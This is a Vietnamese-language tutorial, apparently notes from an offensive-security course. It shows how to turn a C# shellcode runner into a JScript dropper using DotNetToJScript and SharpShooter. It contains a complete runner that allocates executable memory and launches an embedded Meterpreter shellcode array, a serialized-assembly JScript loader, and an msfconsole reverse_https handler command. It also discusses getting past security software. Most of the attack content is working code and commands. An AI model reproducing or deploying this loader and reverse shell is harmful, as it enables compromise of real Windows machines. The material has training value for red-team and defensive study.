"AG0AZQAAAAAAAAAAAEgAEAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABFAHgA"+ "YQBtAHAAbABlAEEAcwBzAGUAbQBiAGwAeQAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAA"+ "AAAAMQAuADAALgAwAC4AMAAAAEgAFAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAARQB4AGEA"+ "bQBwAGwAZQBBAHMAcwBlAG0AYgBsAHkALgBkAGwAbAAAAGIAHwABAEwAZQBnAGEAbABDAG8AcAB5"+ "AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgAEoAYQBtAGUAcwAgAEYAbwByAHMA"+ "aABhAHcAIAAyADAAMQA3AAAAAAAqAAEAAQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAA"+ "AAAAAAAAAFAAFAABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABFAHgAYQBtAHAA"+ "bABlAEEAcwBzAGUAbQBiAGwAeQAuAGQAbABsAAAAQAAQAAEAUAByAG8AZAB1AGMAdABOAGEAbQBl"+ "AAAAAABFAHgAYQBtAHAAbABlAEEAcwBzAGUAbQBiAGwAeQAAADQACAABAFAAcgBvAGQAdQBjAHQA"+ "VgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABW"+ "AGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAAqDgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ0AAAAEAAAACRgAAAAJBgAAAAkXAAAABhsAAAAnU3lzdGVt"+ "LlJlZmxlY3Rpb24uQXNzZW1ibHkgTG9hZChCeXRlW10pBhwAAAAuU3lzdGVtLlJlZmxlY3Rpb24u"+ "QXNzZW1ibHkgTG9hZChTeXN0ZW0uQnl0ZVtdKQgAAAAKCwAA"; var entry_class = 'TestClass'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message); } ``` Hãy cùng phân tích đoạn mã này. Đầu tiên, một khối dữ liệu nhị phân được mã hóa Base64 được nhúng vào tệp. Đây chính là tập tin hợp ngữ C# đã được biên dịch của chúng ta. ``` var serialized_obj = "AAEAAAD/////AQAAAA... ``` Tiếp theo, chúng ta sẽ chỉ định tên của lớp bên trong assembly đã biên dịch mà chúng ta muốn thực thi. Trong trường hợp này, nó được đặt tên là TestClass : `var entry_class = 'TestClass';` Sau khi chỉ định tên lớp, phần quan trọng nhất của kịch bản bắt đầu. Đầu tiên, chúng ta thiết lập phiên bản .NET framework và giải mã Base64 dữ liệu như được hiển thị. Tiếp theo, một đối tượng [BinaryFormatter](https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter?view=netframework-4.8) được khởi tạo, từ đó chúng ta gọi phương thức [Deserialize](https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter.deserialize?view=netframework-4.8) . Trong JScript, `Deserialize_2` không phải là một phương thức chính thức hoặc được ghi chép trong tài liệu của lớp BinaryFormatter từ framework .NET. Thay vào đó, đoạn code này sử dụng `Deserialize_2` như một giải pháp tạm thời để vượt qua các hạn chế bảo mật trong một số phiên bản .NET nhất định. Tại thời điểm này, biến d chứa tập tin hợp ngữ đã được giải mã và giải tuần tự hóa `ExampleAssembly.dll` trong bộ nhớ. ```csharp setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var d = fmt.Deserialize_2(stm); ``` Để thực thi phương thức liên quan bên trong assembly, chúng ta sẽ sử dụng các phương thức [DynamicInvoke](https://learn.microsoft.com/en-us/dotnet/api/system.delegate.dynamicinvoke?view=netframework-4.8) và [CreateInstance](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=netframework-4.8#System_Reflection_Assembly_CreateInstance_System_String_) . DynamicInvoke chấp nhận một mảng các đối số, nhưng hàm tạo của lớp "TestClass" không yêu cầu đối số nào. Chúng ta có thể giải quyết vấn đề này bằng cách tạo một mảng được gán cho biến "al", sau đó thêm một đối tượng chưa được định nghĩa để giữ cho mảng rỗng và chuyển đổi nó thành một mảng bằng cách sử dụng `ToArray()` . Thao tác này tạo ra một mảng rỗng được truyền cho DynamicInvoke, như được hiển thị bên dưới: ```csharp var al = new ActiveXObject('System.Collections.ArrayList'); ... al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); ``` Giờ đây, nhờ có DotNetToJscript, chúng ta đã có một khung sườn có thể dễ dàng chuyển đổi bất kỳ mã C# nào thành định dạng có thể thực thi từ tệp Jscript. Điều này đưa chúng ta đến gần hơn với việc thực thi các API Win32. ## Win32 API Calls From C# Chúng ta có thể tận dụng câu lệnh DllImport đã sử dụng ở phần trước. Chúng ta sẽ chuyển đổi các kiểu dữ liệu đối số C sang C# thông qua kĩ thuật P/Invoke Tạo một ví dụ minh hoa bằng cách nhập MessageBoxA và gọi nó từ C#. Trước tiên chúng ta tìm kiếm `MessageBox` trên https://pinvoke.net/default.aspx/user32/MessageBox.htm để chuyển đổi các kiểu dữ liệu C sang C# Để sử dụng MessageBoxA , chúng ta cần thêm câu lệnh import bên trong lớp `Program` nhưng bên ngoài phương thức `Main` Như hình bên dưới, Visual Studio chỉ ra các vấn đề tiềm ẩn với câu lệnh `DllImport` do thiếu không gian tên. Để sử dụng câu lệnh `DllImport` và gọi các API Win32, chúng ta phải sử dụng hai không gian tên ( `System.Diagnostics` và `System.Runtime.InteropServices`). ![image](https://hackmd.io/_uploads/By1bWB6Ebx.png) Chúng ta cũng cần thêm namespace `System` cốt lõi , cung cấp cho chúng ta quyền truy cập vào tất cả các kiểu dữ liệu cơ bản, chẳng hạn như `IntPtr`. Hãy cùng xem lại toàn bộ code của chúng ta cho đến nay: ![image](https://hackmd.io/_uploads/SJw8ZBa4bl.png) Giờ đây chúng ta có thể biên dịch ứng dụng mà không gặp lỗi. Chúng ta đã chứng minh cách nhập và gọi các API Win32 từ C# mà không cần sử dụng reflection. Trong phần tiếp theo, chúng ta sẽ tạo lại trình chạy shellcode PowerShell của mình bằng C#. ## Trình chạy Shellcode trong C# Về cơ bản thì đã tạo xong khung sườn, chúng ta có thể tái sử dụng các kĩ thuật chạy shell code từ cả VBA và PowerShell kết hợp cùng với `VirtualAlloc`, `CreateThread` và `WaitForSingleObject` để thực thi shellcode trong bộ nhớ. Bước đầu tiên là sử dụng DllImport để nhập ba API Win32 và cấu hình các kiểu dữ liệu đối số phù hợp. Điều này không thay đổi so với kinh nghiệm của chúng ta khi sử dụng `Add-Type` và `PowerShell`. Các lệnh nhập được hiển thị bên dưới: ```csharp [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); ``` Tiếp theo, chúng ta cần tạo shellcode. Hãy nhớ rằng trên hệ điều hành Windows 64-bit, Jscript sẽ mặc định thực thi trong ngữ cảnh 64-bit, vì vậy chúng ta phải tạo payload Meterpreter 64-bit ở định dạng csharp. Nhân tiện, chúng ta sẽ thiết lập multi/handler với cùng payload đó. Trong code trên, các lệnh gọi đến ba API Win32 cùng với việc sao chép bộ nhớ từ vùng nhớ được quản lý sang vùng nhớ không được quản lý đều có mặt và tạo thành phần cuối cùng của trình chạy shellcode. Điều này sẽ trông rất giống với những gì chúng ta đã làm trước đó. Hãy cùng thảo luận một vài chi tiết của đoạn code này, bắt đầu với phần khai báo biến. Đầu tiên, `buf` , là shellcode của chúng ta. Tiếp theo là biến `size` dùng để lưu trữ kích thước của biến `buf` . Như đã đề cập trước đó, chúng ta sử dụng `Marshal.Copy` , nhưng không cần phải chỉ định không gian tên .NET là ` [System.Runtime.InteropServices.Marshal]` . Chúng ta sẽ lại sử dụng API `WaitForSingleObject` để cho phép shellcode hoàn tất quá trình thực thi. Nếu không, quá trình thực thi Jscript sẽ chấm dứt trước khi shell hoạt động. Đây là toàn bộ mã nguồn của chương trình chạy shellcode bằng C# của tôi: ```csharp using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Diagnostics; using System.Runtime.InteropServices; namespace ConsoleApp1 { class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); static void Main(string[] args) { byte[] buf = new byte[837] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x56,0x48,0x8b,0x52,0x20,0x48,...,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5}; int size = buf.Length; IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, size); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } } } ``` Trước khi biên dịch dự án này , chúng ta phải thiết lập kiến trúc CPU thành x64 vì chúng ta đang sử dụng shellcode 64-bit. Việc này được thực hiện thông qua menu CPU bằng cách mở Trình quản lý cấu hình, như hình bên dưới: ![image](https://hackmd.io/_uploads/SJEM6B64bl.png) Chúng ta chọn `<New...>` từ menu thả xuống Nền tảng và chấp nhận nền tảng mới là x64, như hình bên dưới: ![image](https://hackmd.io/_uploads/SkxEaHTV-g.png) Tiếp theo, chúng ta cần biên dịch dự án C#. Khi chạy tệp này, chúng ta sẽ có được một shell Meterpreter đảo ngược. ![image](https://hackmd.io/_uploads/HyLt3STVbx.png) Thực hiện tạo kết nối reverse shell bằng msfconsole `msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST 192.168.16.4; set LPORT 443; exploit -j"` Chạy file và ta được kết quả như mong đợi: ![image](https://hackmd.io/_uploads/Syyn0B6EZg.png) Tuyệt vời! Chúng ta đã tiến thêm một bước nữa. Trong phần tiếp theo, chúng ta sẽ chạy dự án của mình trong môi trường DotNetToJscript. ## Jscript Shellcode Runner Giờ đây, khi trình chạy shellcode C# đã hoạt động, chúng ta cần sửa đổi dự án ExampleAssembly trong DotNetToJscript để thực thi trình chạy shellcode thay vì đoạn code đơn giản trước đó. Chúng ta cũng sẽ tạo một tệp Jscript với assembly đã biên dịch để có thể khởi chạy trình chạy shellcode trực tiếp từ Jscript. Như đã đề cập trước đó, bất kỳ khai báo nào sử dụng DllImport phải được đặt trong lớp liên quan, nhưng bên ngoài phương thức mà nó được sử dụng. Trong trường hợp này, chúng ta cần đặt chúng trong lớp `TestClass`, như được hiển thị bên dưới. Chúng ta cũng đã thêm các namespace cần thiết ở đầu dự án bằng từ khóa "`using`" theo sau là namespace: ```csharp using System; using System.Diagnostics; using System.Runtime.InteropServices; [ComVisible(true)] public class TestClass { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); ``` Tiếp theo, chúng ta sẽ thêm cùng một đoạn mã shellcode và các lệnh gọi phương thức bên trong phương thức TestClass như trong dự án độc lập của chúng ta: ```csharp public TestClass() { byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8... int size = buf.Length; IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, size); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } ``` Trước khi biên dịch dự án ExampleAssembly, chúng ta cần chỉ định nền tảng x64. Sau khi biên dịch, chúng ta cần sao chép tệp DLL đã biên dịch vào cùng thư mục với DotNetToJscript.exe trên máy tính Sau khi cập nhật DLL, chúng ta có thể gọi DotNetToJscript bằng các tham số tương tự như trước, hướng dẫn nó sử dụng phiên bản 4 của .NET framework và xuất ra một tệp Jscript, như hình bên dưới: `DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js` ![image](https://hackmd.io/_uploads/Bkeds8aV-e.png) ## SharpShooter Trong những năm gần đây, việc sử dụng DotNetToJscript để biến các assembly được biên dịch từ C# thành vũ khí trong các định dạng tệp khác (như Jscript, VBScript, và thậm chí cả macro của Microsoft Office) đã trở nên phổ biến hơn nhiều. Một công cụ tạo payload có tên [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) đã được tạo ra để hỗ trợ việc này. SharpShooter là "một khung payload để thu thập và thực thi mã nguồn C# tùy ý" và tự động hóa một phần quy trình được thảo luận trong mô-đun này. Cũng như bất kỳ công cụ tự động nào, điều quan trọng là chúng ta phải hiểu cách thức hoạt động của nó, đặc biệt là khi nó liên quan đến việc vượt qua phần mềm bảo mật và các biện pháp giảm thiểu rủi ro thường có trong hầu hết các tổ chức. ![image](https://hackmd.io/_uploads/SytLL70E-e.png) Sau khi cài đặt SharpShooter, hãy thử tái tạo lại những gì chúng ta đã làm thủ công trong Module này: tạo trình chạy shellcode bằng Jscript bằng cách sử dụng DotNetToJscript. ![image](https://hackmd.io/_uploads/H1NStXAN-l.png) Chúng ta sẽ gọi SharpShooter.py đồng thời cung cấp một số tham số, như được hiển thị trong. Tham số đầu tiên, `--payload js` , sẽ chỉ định định dạng đầu ra Jscript. Tham số tiếp theo, `--dotnetver` , đặt phiên bản .NET framework cần nhắm mục tiêu. Tham số `--stageless` chỉ định việc thực thi shellcode Meterpreter trong bộ nhớ. `--rawscfile` chỉ định tệp chứa shellcode của chúng ta, và chúng ta thiết lập tệp đầu ra bằng cách sử dụng `--output` , bỏ qua phần mở rộng tệp. Toàn bộ lệnh được hiển thị bên dưới: ![image](https://hackmd.io/_uploads/H1CwKQA4-g.png) ![image](https://hackmd.io/_uploads/BkjuqXANbx.png) ![image](https://hackmd.io/_uploads/Hk0m6XAEbx.png) ![image](https://hackmd.io/_uploads/S18DR7AVZg.png) Việc sử dụng công cụ tự động hóa có thể cải thiện đáng kể năng suất và giảm bớt các công việc lặp đi lặp lại, nhưng điều quan trọng là phải hiểu các kỹ thuật được sử dụng và cách hoạt động của code.